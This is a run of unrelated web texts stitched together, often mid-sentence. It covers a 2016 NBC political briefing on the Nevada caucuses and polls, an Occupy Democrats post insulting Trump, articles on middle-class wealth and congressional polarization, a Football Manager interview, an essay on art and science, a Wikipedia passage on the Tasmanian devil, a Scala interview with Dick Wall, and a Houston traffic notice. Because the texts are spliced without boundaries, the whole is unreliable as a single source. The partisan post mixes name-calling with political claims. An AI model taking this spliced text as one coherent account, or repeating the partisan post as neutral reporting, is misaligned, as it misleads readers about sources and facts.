lawyers. A spokeswoman for the Nevada Southern Detention Center could not be reached for comment Monday. Contact Jeff German at jgerman@reviewjournal.com or 702-380-8135. Follow @JGermanRJ on Twitter.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. Feb. 18, 2016, 2:05 PM GMT / Updated Feb. 18, 2016, 2:12 PM GMT By Mark Murray, Chuck Todd and Carrie Dann First Read is a morning briefing from Meet the Press and the NBC Political Unit on the day's most important political stories and why they matter. Why the Stakes Are So High in Nevada LAS VEGAS -- We’re just hours away from tonight’s Democratic town hall and two days out from the state’s caucuses, and both Hillary Clinton and Bernie Sanders have plenty on the line here in Nevada. A Clinton loss -- in a state where she held the early organizational and demographic advantages -- would launch another week’s worth of negative headlines for her campaign, hardly the momentum it wants going into South Carolina. (“Will there be a shakeup?” “Is Mike Bloomberg going to jump in?” “Is there any way that Joe Biden could reconsider?” “How is she losing to a democratic socialist who didn’t even belong to the party until now?”) So it would be painful loss. But as we wrote earlier this week, a Sanders loss could even be more impactful because it would set up Hillary Clinton to start running the table over the next two weeks in South Carolina and the southern March 1 states. And if that’s the case, come March 2, she might have a delegate lead that’s impossible to catch up to given the proportional nature of all of the Democratic races. So Sanders needs a win to keep the pressure on Clinton, and Clinton needs a win to finally start pulling away. Tonight’s MSNBC Clinton-Sanders Town Hall Beginning at 9:00 pm ET (6:00 pm local), Hillary Clinton and Bernie Sanders will participate in a town hall from Las Vegas moderated by NBC’s Chuck Todd and Jose Diaz Balart. Sanders will go first (which was determined by a coin toss), and Clinton will go second. Tonight’s Rachel Maddow Interview With Joe Biden Also tonight on MSNBC, Rachel Maddow will interview Vice President Joe Biden, and the interview will air an hour before the town hall. Outlier or Canary in the Coal Mine? We have to admit: Even we were shocked by our new NBC/WSJ numbers yesterday -- that Donald Trump had dropped to second in the national GOP horserace. According to the poll, it’s Ted Cruz 28%, Trump 26%, Marco Rubio 17%, John Kasich 11%, Ben Carson 10%, and Jeb Bush 4%. And given all of the other polling in the GOP contest, both nationally and also in South Carolina, it’s very possible our poll is an outlier. (It happens to even the best of polls.) NBC News Or it could be a canary in the coal mine. As NBC/WSJ co-pollster Bill McInturff puts it, "When you see a number this different, it means you might be right on top of a shift in the campaign. What you don't know yet is if the change is going to take place or if it is a momentary 'pause' before the numbers snap back into place." And yes, a new national CBS poll shows Trump with a 17-point lead over Cruz. Then again, half of that poll (Feb. 12-16) was conducted before Saturday’s GOP debate, while the entire NBC/WSJ poll was conducted after it (Feb. 14-16). Public Split Over Whether Senate Should Vote on Obama’s Eventual Supreme Court Pick Also from the NBC/WSJ poll: American voters are divided -- especially along party lines -- whether the U.S. Senate should vote this year on President Obama's eventual nominee to succeed Antonin Scalia on the Supreme Court. Overall, 43% say the Senate should vote this year on a replacement, versus 42% who prefer to leave the position vacant and vote next year on a replacement nominated by the new president; 15% have no opinion. Among Democratic voters, 81% want the Senate to vote this year, while just 9% disagree. But those numbers are flipped among Republicans – 81% of them want to leave the position vacant, while 11% prefer to vote this year. Independents are split -- 43% this year, 42% next year. The rest of the NBC/WSJ comes out later today. African Americans See Bias in Opposition to Obama Court Pick Don't miss this New York Times piece with frustrations from African Americans when Republicans say they won't consider ANY Obama Supreme Court pick. “They’ve been fighting that man since he’s been there,” Mr. Gadsden, who is African-American, said of Mr. Obama, before pointing at his forearm to explain what he said was driving the Republican opposition: “The color of his skin, that’s all, the color of his skin.” “Our president, the president of the United States, has been disrespected from Day 1,” Carol Richardson, 61, said on Wednesday as she colored a customer’s hair at Ultra Beauty Salon in Hollywood, S.C., a mostly black town near Charleston. “The words that have been said, the things the Republicans have done they’d have never have done to another president. Let’s talk like it is, it’s because of his skin color.” On the Trail Before tonight’s Democratic town hall, Hillary Clinton holds a get-out-the-vote event in Las Vegas, while Bernie Sanders meets with civil-rights leaders in DC… Donald Trump holds a pair of rallies in South Carolina… And Ted Cruz, Marco Rubio, Jeb Bush, John Kasich, and Ben Carson also campaign in the Palmetto State. Countdown to Dem Nevada caucuses: 2 days Countdown to GOP South Carolina primary: 2 days Countdown to GOP Nevada caucuses: 5 days Countdown to Dem South Carolina primary: 9 days23.9k SHARES SHARE THIS STORY President-elect Donald Trump is having serious trouble finding people willing to actually do the work his administration will require – to the point where Trump has asked over fifty top Obama administration officials to stay. One of the most prominent officials asked to stay is Brett McGurk, Special Envoy to the International Coalition for Operation Inherent Resolve (CJTF-OIR), the international campaign against Daesh (ISIS/ISIL). Trump is perhaps hoping to buttress his nonexistent foreign policy knowledge or experience by keeping McGurk around. Other big names who were asked to stay in their jobs are Treasury sanctions overseer Adam Szubin, Deputy Defense Secretary Robert Work, Undersecretary of State for Political Affairs Tom Shannon, National Counterterrorism Center head Nick Rasmussen and Dabney Kern, the director of the White House Military Office, according to the Hill. Even with the holdovers, Trump’s administration is nowhere near ready to begin operating at a productive capacity. Out of the 690 administration posts that require Senate confirmation, only 29 have even been named, let alone confirmed. Trump has had a very hard time trying to find anyone with actual experience willing to work for him in the national security field, potentially leaving our nation even more vulnerable than it will be with an ignoramus like Trump in the White House. Trump boasts about how he “hires the best people,” but he’s assembled the least educated and least qualified cabinet in recent history; many of the appointments are obvious rewards for support during the campaign. Trump’s inability to staff his administration will prove to be a hamper on his heinous ambitions – and if he thinks he’s going to have a smooth confirmation process from Senate Democrats, he’s got another thing coming. Download our NEW Occupy Democrats app for your iPhone by clicking here or for your Android by clicking here. Add your name to millions demanding that Congress take action on the President’s crimes. IMPEACH DONALD TRUMP!Here's more proof the middle class is dying. The middle-class share of American wealth has been shrinking for the better part of three decades and recently fell to its lowest level since 1940, according to a new study by economists Emmanuel Saez of the University of California, Berkeley, and Gabriel Zucman of the London School of Economics. In other words, remember the surge of the great American middle class after World War II? That's all gone, at least by one measure. In this case, "middle class" is defined rather expansively as the bottom 90 percent of all Americans. "Wealth" is the total of home equity, stock and bond holdings, pension plans and other assets, minus debt. As such assets are mostly owned by mid- to higher-income households -- and considering most Americans define themselves as "middle-class" -- it seems reasonable to use the bottom 90 percent as a proxy for the "middle class." Saez and Zucman discussed their paper in a blog post for the Washington Center For Equitable Growth on Monday that included this stark chart: Debt has been the big force driving net wealth lower for the middle class, according to Saez and Zucman. Brief bubbles in stock and home prices in the 1990s and 2000s only temporarily offset the steady, depressing rise in mortgage, student-loan, credit-card and other debts for the bottom 90 percent. "Many middle class families own homes and have pensions, but too many of these families also have much higher mortgages to repay and much higher consumer credit and student loans to service than before," Saez and Zucman wrote. Another important factor has been that incomes have stagnated for most Americans over the past few decades, once adjusted for inflation. Along with rising debt levels, stagnant wages have made it impossible for most families to save very much money. And who has been the beneficiary of this middle-class misery? The top 0.1 percent of Americans, whose incomes have just kept rising, and whose share of wealth has soared to levels not seen since Jay Gatsby was still staring at the blinking green light at the end of Daisy Buchanan's dock: In fact, the middle class is not alone in suffering from shrinking wealth. The rest of the top 10 percent of Americans below the 0.1 percent -- the "merely rich," Saez and Zucman call them -- have also suffered from falling household wealth over the past four decades.You don’t have to look hard to see evidence of political polarization — just watch cable news, listen to talk radio or follow social-media debates. Indeed, a new Pew Research Center report finds that Americans are more ideologically polarized today than they’ve been in at least two decades. Their representatives in Congress are divided too, and have been pulling apart since the days of MAS*H and Billy Beer. With Democrats and Republicans more ideologically separated than ever before, compromises have become scarcer and more difficult to achieve, contributing to the current Congress’ inability to get much of consequence done. But going beyond anecdotal evidence to examine congressional polarization more rigorously can be tricky. Fortunately, political scientists Keith Poole and Howard Rosenthal have developed a widely accepted metric, DW-NOMINATE, that places every senator and representative on the same set of ideological scales. Using their data, it’s clear that the congressional parties, after decades of relatively little polarization, began pulling apart in the mid-1970s. Today, they say, “Congress is now more polarized than at any time since the end of Reconstruction.” The researchers aggregated roll call votes to locate each member of Congress, from 1789 to the present day, on a two-dimensional grid. One dimension represents the traditional liberal-conservative spectrum; the second picks up regional issue differences, such as the split between Northern and Southern Democrats over civil rights in the 1950s and 1960s. As Poole and Rosenthal note, those formerly significant regional distinctions have declined in importance — or, more precisely, merged into the overall liberal-conservative divide: “Voting in Congress is now almost purely one-dimensional — [political ideology] accounts for about 93 percent of roll call voting choices in the 113th House and Senate.” So we used just the ideological dimension in our analysis. We took the vote scores for every senator and representative in five Congresses, one in each of the past five decades, and ordered them from most liberal (scores of -1 to 0) to most conservative (0 to +1). Then we sorted them by party to see how much overlap — if any — there was between Democrats and Republicans (for simplicity, we excluded the handful of independents). In 1973-74, there was in fact substantial overlap. In the House, 240 members scored in between the most conservative Democrat (John Rarick of Louisiana) and the most liberal Republican (Charles Whalen of Ohio); 29 senators scored between New Jersey’s Clifford Case (most liberal Republican) and James Allen of Alabama (most conservative Democrat). A decade later, though, that had already begun to change. By 1983-84, only 10 senators and 66 representatives (except for Rep. Larry McDonald (D-Ga.), who scored more conservative than every single Republican) fell between their chambers’ most liberal Republican and most conservative Democrat. By 1993-94, the overlap between the most conservative Democrat and the most liberal Republican had fallen to nine House members and three senators. By 2011-12 there was no overlap at all in either chamber. What’s happened? In large part, the disappearance of moderate-to-liberal Republicans (mainly in the Northeast) and conservative Democrats (primarily in the South). Since the 1970s, the congressional parties have sorted themselves both ideologically and geographically. The combined House delegation of the six New England states, for instance, went from 15 Democrats and 10 Republicans in 1973-74 to 20 Democrats and two Republicans in 2011-12. In the South the combined House delegation essentially switched positions: from 91 Democrats and 42 Republicans in 1973-74 to 107 Republicans and 47 Democrats in 2011-12. Political scientists debate whether polarization in Congress preceded or followed polarization among the wider public, and our data (which begins in 1994) won’t resolve that. One thing is clear, though: When a polarized Congress represents a polarized public, not much gets done legislatively. Through the end of May, the current Congress had enacted 89 pieces of substantive legislation (based on the methodology we’ve employed in prior Fact Tank posts) since it opened in January 2013. A decade ago, at the equivalent point in its term, Congress had enacted almost twice as many substantive laws. Historically, compromise has been key to getting legislation passed. But polarized senators and representatives — reluctant to compromise with the other side to start with — won’t get much pressure from the partisans back in their home states. According to our study, while 56% of Americans say they prefer politicians who are willing to compromise, in practice both across-the-board conservatives and across-the-board liberals say the end result of compromise should be that their side gets more of what it wants. Topics: Congress, U.S. Political Parties, Political Attitudes and ValuesWe caught up with Sports Interactive’s Studio Director Miles Jacobson to talk about his plans for Football Manager’s scouting network. Almost as interesting as the network size and its professional usage was what he wouldn’t tell us about. You can find out what it wasn’t after the jump. Have you any plans for your amateur scouting network? What do you mean by amateurs? People say to us a lot, ‘you’ve got this huge scouting network, but they’re just football fans”. I’m like ‘what gives anyone a qualification to be a scout apart from being able to tell if players are going to be good or not. It doesn’t matter that Jose Mourinho or Alex Ferguson didn’t play at the highest levels of football, they’re still the best managers out there. If you look at the person who’s currently being regarded as the best in the Premier League, Graham Carr at Newcastle, who spotted a bunch of French players that anyone who’s played Football Manager over the years knew of ages ago; he hasn’t played football for many years, but he still knows what a decent player’s like. How big is the network these days? I’m incredibly proud of the network we’ve built up; well over a thousand scouts in 51 regions. There are still regions we’re not strong enough in – Africa, but that’s something we’ll be working on in the future. When you have a network of people finding out about people like Leo Messi when he’s 12 years old and putting them in the game when they’re 16, which is the earliest we can legally put them in, and then becoming world superstars… it’s something I’m incredibly proud of. How accurate is it? People bring up the few we’ve got wrong; we’ve got over 480,000 players and staff in our database. If we’re getting 15-20 wrong a year, so be it if we’re getting the others right. Everton have a license to use our database officially as part of their scouting network; we’re sure there are others using it unofficially. And to be honest, if they’re not, they’re crazy. Why would you not take on board the opinions of over a thousand football fans who are watching players week-in, week-out at youth, reserve and first team and who have a pretty amazing strike record of finding players at a very early stage. My twitter account is currently bombarded with people talking about players that they’ve been signing for years that they’re seeing play for the first time in this Euro 2012 tournament. Do you have any commercial plans for your network beyond Everton? And do you have any people in your scouting network who do scouting jobs? Yeah, we’ve got a few guys in our network doing professional scouting jobs. Part of their arrangement is that they’re able to do it. At least one of our current scouts is scouting for a top division club in his or her country. Do you have any commercial plans for your network beyond Everton? … next question. You can read another excerpt from our chat with Miles here.Over the past several months, I’ve been privileged to visit schools throughout our state: private, public, elementary and secondary schools, as well as community colleges and universities. Of course, this means that I’ve been driving a lot; during those hours on the road, I listen to poetry readings and podcasts and mumble poems to myself. Recently, I listened to a podcast of Frank Wilczek, Nobel laureate in physics, talking about science and beauty, the importance of imagination and creativity, and how art and science are not as far apart as school curricula might imply. In fact, in his most recent book, “A Beautiful Question,” he asks, “Is the world a work of art?” And he asserts that the scientist’s eye and the artist’s eye are closely related ways of seeing. Or, to look at it differently, consider these lines from William Blake’s poetry that foresee the invisible world of atoms and quarks, perhaps even Einstein’s notion of relativity. In the early 19th century, he wrote, “To see a World in a Grain of Sand / And a Heaven in a Wild Flower / Hold Infinity in the palm of your hand / And Eternity in an hour.” None of which is a surprise, really. From Leonardo to Einstein, we can find evidence of the bond between creativity – artistic thinking – and the sciences. Unfortunately, in the past few decades, that bond has been broken. By privileging STEM (science, technology, engineering and mathematics), our educational system has announced that a labor force for tech industry is more
they should therefore be the centrepiece of marketing efforts, resulting in some devils being taken on promotional tours.[192] With its unique personality, the Tasmanian devil has been the subject of numerous documentaries, fiction and non-fiction children's books.[193][194][195][196][197] Royalties from Margaret Wild's Ruby Roars, about a Tasmanian devil, are going to research into DFTD.[198] A 2005 Australian documentary on the Tasmanian devil, Terrors of Tasmania, directed and produced by David Parer and Elizabeth Parer-Cook, follows a female devil called Manganinnie through breeding season and the birth and rearing of her young. The documentary also looks at the effect of devil facial tumour disease and the conservation measures being taken to ensure survival of the Tasmanian devil.[193] It has screened on television in Australia and in the United States on the National Geographic Channel.[193][199] Warner Bros' Tasmanian Devil "Taz" at a parade in California The Tasmanian devil is probably best known internationally as the inspiration for the Looney Tunes cartoon character the Tasmanian Devil, or "Taz" in 1954. Little known at the time, the loud hyperactive cartoon character has little in common with the real life animal.[200] After a few shorts between 1957 and 1964, the character was retired until the 1990s, when he gained his own show, Taz-Mania, and again became popular.[201] In 1997, a newspaper report noted that Warner Bros. had "trademarked the character and registered the name Tasmanian Devil", and that this trademark "was policed", including an eight-year legal case to allow a Tasmanian company to call a fishing lure "Tasmanian Devil". Debate followed, and a delegation from the Tasmanian government met with Warner Bros.[202] Ray Groom, the Tourism Minister, later announced that a "verbal agreement" had been reached. An annual fee would be paid to Warner Bros. in return for the Government of Tasmania being able to use the image of Taz for "marketing purposes". This agreement later disappeared.[203] In 2006, Warner Bros. permitted the Government of Tasmania to sell stuffed toys of Taz with profits funnelled into research on DFTD.[204] There is a DC Comics superhero called Tasmanian Devil who is a member of the Global Guardians team.[205] Snarl, a character in the Transformers Beast Wars storyline, had the alternate form of a Tasmanian devil.[206] Tasmanian Kid from Beast Wars II could also transform into a Tasmanian devil.[207] Researchers have named a genetic-mutant mouse "the Tasmanian Devil". It is defective in the development of sensory-hair cells of the ear, leading it to abnormal behaviours including head-tossing and circling,[208] more like the cartoon "Taz" than the actual Tasmanian devil. For the 2.6.29 release of the Linux kernel, Linus Torvalds temporarily replaced the Tux mascot with a Tasmanian devil named "Tuz", in support of the Save the Tasmanian Devil Campaign.[209] Devil Cat catamaran Thecatamaran A catamaran, called the Devil Cat, was named for, and based on, the Tasmanian devil. Operating on the world's longest distance high speed ferry service, the catamaran crossed Bass Strait between George Town in Tasmania, and Station Pier, at Port Phillip, Port Melbourne in Victoria, during 1997–2002. An exhibit titled "Remarkable Tasmanian Devil" was exhibited at the Tasmanian Museum and Art Gallery.[210] See also [ edit ] References [ edit ] Notes [ edit ] Bibliography [ edit ]1. We’re here at Scala Days 2012 in London; I’m sitting here with Dick Wall. Dick, who are you? Hi, I’m Dick Wall. I am a long, long career Java developer. I’ve been working in Java since ’94-’95 and then in the last three years, I’ve kind of switched over to doing everything in Scala, discovered Scala and I were soul mates back in that time. So in addition to what I do for work, I created and I co-host, the Java Posse podcast. I founded and led for three years the Bay Area Scala Enthusiasts which I think was one of the first Scala user groups in the US. I don’t know if we were the first; but we certainly were very early. And just recently I found somebody to take that over which is quite nice after three years of running that. And I’m just about to go to Scala consulting full-time; so it’s an exciting time in the Scala realm right now. 3. But it seems you have defected to the Scala world, why is that? I, much like a lot of people, I think, about three, four years ago, I’ve started to despair that Java had become a bit stuck in a rut, there weren’t timely updates anymore. I was really starting to miss some of the features that I saw in other languages, function literals and closures being high on the list and I was also just fed up with JavaBeans getters/setters and all that good stuff. So I started looking around for alternatives and I messed with Groovy a little bit and I’m sure there will be people jumping up and down going "Don't say anything negative about Groovy" and I won't because I liked it but I’ve always liked statically typed languages; and so once Scala came along, it looked like the right combination of features and familiarity for what I wanted; and I started learning it, wrote some dreadful code for the first few months of using it, trying to basically write Java in Scala which I highly recommend, by the way, as a strategy for picking up and learning Scala to start with. And then over time, school of hard knocks, I gradually got better at style and learned functional style and that sort of thing but I still keep doing the Java Posse podcast. One of the ways we look at it is Java is more than the language, we’ve always said on the Podcast that there’s really three aspects to Java: there’s the language, more interestingly there’s the virtual machine, the JVM; the primary thing that Java has that I think all of the other developers ecosystems wish they had is the community that surrounds Java, that community is starting to diversify into other languages but they are all still mainly hovering around the virtual machine and the community still hangs together. So you get people going to Clojure and to Groovy and to Scala and to JRuby and yet they all come back and talk with one another; there’s a lot of cooperation between the groups, you can see that at things like the JVM language summit which takes place every year. Bryan Goetz and some other people organize that just for that reason and so I think there’s a lot of life left in the Java Posse whether or not we actually talk about the Java program ming language. I should also point out that there’s two other people still in the Java Posse, Joe Nuxoll recently decided that it was not him anymore because he’s gone on to do design work more than anything but both Carl and Tor did not share my obsession with Scala at least not yet; and they both work in Java although technically speaking, Tor works in Android which is not really Java, at least that’s being sorted out in the courts right now. 4. That's an interesting position there, that you mentioned Android, you mentioned that there are many different languages that compile the JVM; but in a way, there seems to be a rift with Android which isn’t really a JVM, it's not a JVM at all in case Google is listening. So if you program for Android, you program in Java the language, what do you think of this rift? I don’t think it’s any secret that the way Dalvik works is to take class files and send them through another compilation stage into.dex format which is the Dalvik executable, it gains a lot of advantages for mobile devices doing that but at the end of the day, anything that you can compile to a class file can still be compiled into Dalvik, there are few thing that are missing, reflection is hard on this deliberately so because it’s a big security hole having reflection on that, but for the most part, you can take Scala or Mirah, and there’s a lot of people working on Mirah which is the statistically typed JRuby derivative; JRuby perhaps is the correct word [JRuby light], and that’s a lot of work going into making that work on Android. People got Scala running on that although it brings some fairly heavy runtime considerations with it; and so it’s a valid target and it still feels very much part of the Java ecosystem whether or not you call it Java; it’s pretty clear that there’s a lot of alignment with the Java community and the Java programming languages. 5. It seems talking about Google, it seems Google is trying to replace Java with another four-letter language, Google Dart, obviously on the web in the browser maybe also on the server with serverside Dart and also might replace Java as an input language for GWT, for instance; so what do you think of Dart? I got to admit I haven’t really looked at Dart in-depth yet; actually Scala is at the top of my list of languages to master first; so it’s on the list and I’ll get to it at some point. I think from what I’ve so far, the Dart play feels likes it’s more aimed at Javascript as a kind of Javascript alternative long term than it is taking over from Java; and Google has some other language like Go is a very interesting one that they got; they also had, (I forget the name of it) but they were talking about one that had some kind of dependency injection at the very core of the language. I saw that at one of the JVM language summits, I’ll probably remember the name of it later; but this isn’ t the first time they’ve gone into the alternative languages game. I think just like I would expect or, I would just like to freely admit and say about Scala, I don’t think anyone’s is going to unseat Java as a language anytime soon; it’s got way too much momentum. We’ll probably be around forever like Fortran and C and I don’t expect anything or nor necessarily do I want anything to come in and replace it; what I want is a healthy alternative language ecosystem and I think we’re really close to getting that now. 8. Do you see people writing in Java the language? Yes, I still think people will be writing in Java the language in five, ten, twenty, years’ time and it will probably still be a pretty major force; but I also think there will be a lot of alternatives and it doesn’t suit every purpose; so I do think we’ll see more people start migrating to other languages that suit their problem domains better; and I think that’s healthy. It’s the old story, when all you got is a hammer, everything starts to look like a nail. We’ve been there for a long time; Java and object-oriented programming have suited us well but there’s other alternatives now and they can make us more effective in a lot of different domains. 9. So talking about Scala, you have a Scala project out called SubCut, what’s SubCut? SubCut is, let’s start from first principles, I am a software engineer that works on large enterprise server systems, usually, big data and over the years, I hesitate to even call it a pattern because it really is a very simple concept but the idea of wiring up configuration so that components can be reconnected and reconfigured easily has been kind of ongoing project, kind of a problem domain that is attacked from all sorts of different ways. So in the early days, you had JNDI, the Java native directory and interface, whatever it was the directory look-up mechanism, now it wasn’t Java native, was it? Java naming and directory interface, JNDI, and that was one way that worked for awhile but it was heavyweight and nobody liked that. And then as time went on, Spring and others became more popular and those are dependency injection; so the idea is that you tell an object when it’s created, what its connections are to the rest of the world or to the rest of the system that it’s working in; and those frameworks have been refined over time; Guice was a big jump forward because it used annotations and made the whole thing a lot easier than a lot of XML configuration and I think what I'm trying to do with SubCut, actually the way SubCut started out was I had been using the Cake pattern, and I had used that successfully on a number of projects; but I found it started to become a little heavyweight in particular when trying to do a very in-depth functional testing in a number of ways where I just wanted to throw a couple of mocks into database somewhere down in the hierarchy and have everything else work the same so I could fire up a whole bunch of functional test of these things. So I actually started out with the mind to kind of rewriting Guice in Scala and that was probably what the first SubCut looked like but I was doing, I was thinking, "Gosh, there’s easier ways to do a lot of this stuff in Scala," and it ended up that I just kept removing more and more stuff from SubCut and what I was left with at the end of the day is effectively a domain specific language for doing the binding which is an idea that I took from Guice, an idea that Guice does very well; we can do it a little bit nicer in Scala because we have type manifests and type parameters that just make things look a little bit neater in the language that you use. And it has a binding module which is the same kind of idea as the Guice modules, and the other part of it is a compiler plug-in which makes a couple of thing a bit nicer; and at the end of the day, those are the three things that you really get out of it. You mix a trait in that says, "This object's injectable, it carries down configuration actually through implicit parameters which is something the compiler does and the result is an incredibly lightweight mechanism that you almost don’t know you’re using: it’s a tiny little bit of magic it‘s apparent in the compiler plug-in but enables the implicit parameters to be passed down invisibly and other than that, it’s just a very lightweight DSL and binding mechanism. So I think it’s around about 400-450 lines of code it’s all now and half of that is the compiler plug-in which was actually pretty complicated to write not much documentation on that; so it took me a little while to sort of reverse engineer it and figure it out. 10. So your experience with the compiler plug-in, for people who might not be familiar with them, what do you work with? Do you get the raw AST or what do you get? You get a life cycle, you get the ability to plug into the compiler life cycle at anyone of the gaps between, I think, the 27 different phases that the Scala compiler has. SubCut uses a pretty early phase right after the parser has constructed the abstract syntax tree. And what you get handed then is the abstract syntax tree and you get to pattern match and manipulate it however you want to, presumably creating a valid abstract syntax tree as a result because otherwise it won't compile through the rest of the system. So the mechanisms are actually familiar to anyone who’s done any pattern matching in Scala because it’s all case classes and pattern matching to find the expressions that you’re looking for; and then actually constructing it is all done through case classes; so you then construct new abstract subtrees, you know, syntax subtrees and you kind of plug them into the existing tree and once that’s all in place, then you say, "Okay, hands off now; the compiler can go and do the rest of its work." and literally in the case of SubCut, it’s very simple, it looks for a trait called AutoInjectable and when it sees that it adds an implicit parameter for the binding module and a val holder field in the class that holds that value and then that’s it effectively, the step says "OK, I’m done enhancing this class now". So what the upshot is is you can go through and add AutoInjectable to any class and it makes it dependency injectable at that point in time. 11. So how do, in your experience, how do compiler plug-ins interact with tooling, because tool designers usually don't like people fiddling with [the language]? Right, and it could be. ScalaDays is a brilliant conference to come to just because of the people that are here and the conversations you get to have and I actually had this conversation with a couple of the IntelliJ team who I went to them and, they said, "You know, there’s a couple of thing that I’d like to see that would help out SubCut," and they weren’t what they’re expecting to hear, so they expected that there would be compiler errors when you start using SubCut; but actually that’s not the case. The AutoInjectable trait already has the methods that you call on it; it’s simply missing an implicit which the compiler wants there when you actually do the compilation phase; but IDEA, at least, unless you turn on the auto typer that they’ve got, it doesn’t really care about that when you’re writing it; so the result is essentially a pretty smooth experience using SubCut in IDEA. You don’t see errors when you’re using it. The methods that you’ll expect to see are all there and then when you actually hit compile, the compiler plug-in kicks in anyway and it makes the code valid before it reaches any further. I think if you turn on the auto typer which is something we don’t do a lot in Scala usage at my company yet because it isn’t quite ready in a number of other areas; it has differences of opinion with the Scala compiler. So generally we leave it turned off, I think if we have that turned down, we might see more difficulty and maybe the IDE would need to be enhanced to take into account that; and I don’t think it would be too hard to do that although I have a layman’s knowledge of this. 12. I guess it'd need to support compiler macros? Dick Wall: Yes. Werner Schuster: Basically run the same code as the compiler. Dick Wall: Yes, it would need to insert the compiler plug-in in the right phase and let it manipulate the syntax tree in the same way and then carry on, let the IDE compiler get its hands on the rest of the code after that. But actually it works really smoothly, the things I was asking for turned out to be related to symbols and symbol usage which is something we use in SubCut a little bit for convenience and it would be nice to have simple code completion on those so when you start using a symbol, it could actually help you complete it because those are the names of the bindings that you’re using and you have to kind of remember them right now; there’s no help in auto completing those, some kind of simple autocompletion would be really nice in there. So I think I got my case heard and may go see that in the future. 13. So we’ll have to thank you for that. Yeah, SubCut won’t be the only library that benefits from that, symbols are somewhat well used in Scala and having just some simple autocompletion around symbols would be really nice and any IDE, I think it would benefit a whole bunch of projects. 14. Talking about tools, so you have a talk here about Scala and engineering. Actually it’s "An engineer's guide to the Scala community" and it’s kind of an interesting meld of the community side of things and the technical side of things that I work as an engineer as my day job and community building or community interfacing, I guess, is a kind of a hobby, a sideline that comes off the Java Posse and just coming to events like this. And I think that unfortunately, many of the engineers that I see at these events don’t realize that there's a lot of similarities between the problem solving that you do on a day-to-day basis with a programming language and the kind of problems that you see working with the community and actually applying some kind of rigorous engineering decision making can really help with the way you deal with people and the way you reach out and work with the community and it can be surprisingly effective when you do so. 15. But people don’t conform to Type Classes, do they? They don’t but they do or they can behave in fairly predictable ways and if you know what some of those likely outcomes are, it can make you a more effective communicator and that can only help your engineering technical side, so tell somebody that they’re doing it wrong, they'll probably immediately put guards up, it’s human nature but demonstrate or offer to work with somebody, pair program with them, they'll start picking up ideas much, much quicker; these are effective ways to improve just about every aspect of your work and that’s sadly overlooked a lot of the time. So people skills matter it’s, I guess, what it comes down to. 17. So talking about community and Scala and your work in the enterprise, so there’s been criticism of Scala about breaking compatibility and things like that, have you seen these problems, what’s your take on this? I’ve experienced compatibility breakages and problems related to that quite a lot because I work with Scala day-in, day-out and certainly the move from 2.8 to 2.9 was a rocky one, we used a lot of third party libraries. It was made worse by, I won’t mention any names, but there was reliance on libraries from a particular company that does a lot of libraries, very high quality ones but unfortunately they didn’t move to 2.9 for a very long time and we had to stop weaning ourselves off of those libraries and finding alternatives because we wanted to move to 2.9 and the binary compatibility was hurting us there. I don’t really say that there is an easy solution to it like, I think, any of the engineers in the Scala community, I understand the problem which are mostly related to traits and the way the JVM doesn’t really handle traits, so you have to work around limitations and I would much much rather have traits than have them removed in order to get binary compatibility back; there’s no question that it's a positive decision to keep them. It does mean that there’s some extra work and some extra difficulties when you go between versions but you save so much the rest of time, it’s an easy trade-off to make. And if you got the source for the libraries most of the time, you can just recompile unless there’s some kind of other breaking change and the more libraries you use, the more likely you are to see something like that. But I also believe that a binary migration tool that has been talked about for sometime that maybe coming sooner or later and I think that will alleviate just about the remainder of the troubles, that should be good. 18. So the Scala language can help offset the problems with these libraries? The idea, I believe, with the binary tool is to take.jar files and rewrite them, swizzle them internally so that they conform to the new binary interface that’s required; so without needing source code you can take any of the dependencies that you’ve got and make them work with the new version of Scala and if that works, that would be terrific, that would be the removal of one of the last bugbears of changing versions. 19. So talking about changing versions, what’s your favorite feature that you want in Scala, if you had one feature to choose? I think actually I’d like to say and it maybe possible to do some of this now. I need to think about it with the addition of the dynamic trait and Scala 2.10, but I’ve always thought Groovy did well with the builders feature; I like their way of building up XML documents or any other kind of structured document through the builder objects which are basically dynamic objects that you can call methods on that don’t exist and those methods when you call them cause, you know, side-effecting behavior on output or something like that. So you actually build up a XML document hierarchy or something like that. And I’d like to see that because I’d like to have a consistent way of building up either XML or JSON or other data representations in Scala. Right now, the XML support's very good, JSON support is good depending on the library you’re using but different and there’s not a lot of consistency in this. I think that’s probably a feature I’d like to see. Another one, how many am I allowed? 20. I’ll give you another one if you answer one more question. So what are dynamic traits, are they like method_missing in Ruby? Actually that’s a great definition; so a dynamic trait when used in Scala allows the compiler to know that when a method is called on that dynamic trait that doesn’t exist; it actually rewrites it to a call, to a general method handler with the name of the method that you called and any of the arguments that you gave and that lets you create completely dynamic objects so you could theoretically produce a façade for a database table that the compiler lets you access properties fields in the database table and just goes out and reads those fields and brings them back in, something like that. You know, something like that could theoretically, I think be used for the kind of Groovy builder pattern but I don’t know yet whether it would be a complete replacement on it, I haven’t tried. 21. So what is the second biggest [Scala] feature? The second one I’d like to see, it's actually a small feature that I suspect people will find, maybe not everybody would like to see this in there. I’d like to see the ability to have an initially mutable object that allows you to change values for set up then go into a frozen state where it no longer allows any kind of changes, so just to be able to have the convenience of building something up without needing to take lots of immutable copies while you’re in the kind of initialization or construction phase and then tell it, "Okay, from here on out, this is immutable, it really behaves as a completely immutable class, you can’t ever change anything in there again, and that would be a nice feature too. 22. So the Clojure space has something like this with transients. Dick Wall: Yes. Werner Schuster: So Scala people should look at that, maybe they have. Dick Wall: I’m not a language designer; I know language designers and I would leave that in their capable hands but it is something I bumped up against a couple of times that I would love to be able to see. I’m very much a pragmatic user of Scala. I like what I see in there and I have written a compiler plug-in; so I have at least got my hands dirty one time in the compiler; but yeah, I think there’s a lot of considerations when adding a feature like that and I definitely want somebody who really have their head around the whole design of the language just coming in there willy-nilly is probably a bad idea with something like that.Downtown's West Dallas Bridge over I-45 will continue to cause traffic headaches into December That I-45 nightmare two weeks ago in downtown Houston isn't over yet Cars creep north on I-45 North as floodwaters surround them near downtown at Quitman Street as White Oak Bayou came out of its banks Monday. Cars creep north on I-45 North as floodwaters surround them near downtown at Quitman Street as White Oak Bayou came out of its banks Monday. Photo: Karen Warren, Staff Photo: Karen Warren, Staff Image 1 of / 40 Caption Close Downtown's West Dallas Bridge over I-45 will continue to cause traffic headaches into December 1 / 40 Back to Gallery This Christmas Houston drivers will get traffic headaches from the city. Two weeks ago TxDOT closed down the West Dallas Bridge at I-45 for the weekend and it caused a traffic nightmare for drivers getting around the city. Well, that nightmare isn't yet over, folks. That portion of I-45 south and northbound, between I-10 and US 59, will be closed again Friday, Nov. 